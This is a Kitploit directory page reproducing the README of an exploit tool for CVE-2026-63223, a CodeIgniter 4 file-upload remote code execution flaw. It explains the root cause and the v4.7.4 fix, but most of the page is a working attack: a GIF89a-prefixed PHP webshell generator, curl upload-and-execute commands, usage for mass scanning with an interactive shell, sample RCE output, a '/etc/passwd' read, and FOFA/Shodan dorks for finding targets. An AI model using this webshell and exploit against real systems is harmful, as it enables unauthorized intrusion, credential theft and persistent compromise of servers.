Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in File Upload RCE. Magic bytes bypass (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-63223
Web Vulnerability ScannersPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in File Upload RCE. Magic bytes bypass (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

View Repository
116 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-63223 — CodeIgniter 4 File Upload RCE

Magic Bytes Bypass → is_image/mime_in → PHP Webshell → RCE


Overview

CVE-2026-63223 is a critical-severity (CVSS 9.8) unauthenticated remote code execution vulnerability in CodeIgniter 4, a PHP full-stack web framework, affecting versions prior to 4.7.4.

The vulnerability exploits the is_image and mime_in file upload validation rules, which inspect only the content-derived MIME type (magic bytes) without validating the client-supplied filename extension. An attacker prepends image magic bytes (GIF89a, JPEG, PNG headers) to PHP code, names the file shell.php, passes validation, and achieves RCE when the file lands in a web-accessible PHP-executable directory.

CVSS: 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Discovered: July 31, 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Fixed: CodeIgniter 4 v4.7.4

Affected Versions

VersionStatus
< 4.7.4Vulnerable
4.7.4+Patched

CWE: CWE-434 — Unrestricted Upload of File with Dangerous Type Reference PoC: imbas007/CVE-2026-63223-POC


Vulnerability Mechanism

Root Cause

CodeIgniter 4's is_image validation rule maps getExtension() — which returns the extension derived from magic bytes (e.g., gif) — through Mimes::guessTypeFromExtension() to determine if the file is an image. The client-supplied filename extension (getClientExtension(), e.g., php) is never inspected:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Why It Works

  1. getExtension() ≠ getClientExtension() — the former derives from magic bytes (gif), the latter from client filename (php)
  2. Validation trusts bytes, not name — is_image passes because Mimes::guessTypeFromExtension("gif") returns image/gif
  3. File saved with client name — $file->move($path, $file->getClientName()) preserves the .php extension
  4. No cross-check before v4.7.4 — no validation that client extension matches detected type
  5. Web-accessible uploads — default/public upload directories serve PHP files directly

Attack Flow

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

The Fix (v4.7.4)

The patch adds hasInvalidImageClientExtension() — now checks the client extension too:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

The key change: is_image now validates both getExtension() (content-derived, for the actual image check) and getClientExtension() (client-supplied, to reject non-image extensions like .php).


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Usage

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Arguments

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Proof of Concept

Single Target

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Manual Exploitation (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Impact

Successful exploitation yields remote code execution as the web server user:

  • Execute arbitrary system commands
  • Access database credentials from .env files
  • Deploy persistent backdoors
  • Pivot to internal networks
  • Deface or compromise the application

No account or authentication is needed — upload endpoints using is_image/mime_in without ext_in are vulnerable by default.


The Fix (v4.7.4)

  1. Upgrade to CodeIgniter 4 v4.7.4 or later
  2. Workaround: pair is_image/mime_in with ext_in validation rule
  3. Store uploads outside web root and serve via readfile() proxy
  4. Generate server-controlled filenames with getRandomName()

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Do not use against systems without explicit permission. The authors assume no liability for misuse.


References


Not affiliated with CodeIgniter Foundation.

Download Tool
ResourceLink
GitHub AdvisoryGHSA-mmj4-63m4-r6h5
Reference PoCimbas007/CVE-2026-63223-POC
NVD EntryCVE-2026-63223
CodeIgniter v4.7.4Changelog
CWE-434Unrestricted Upload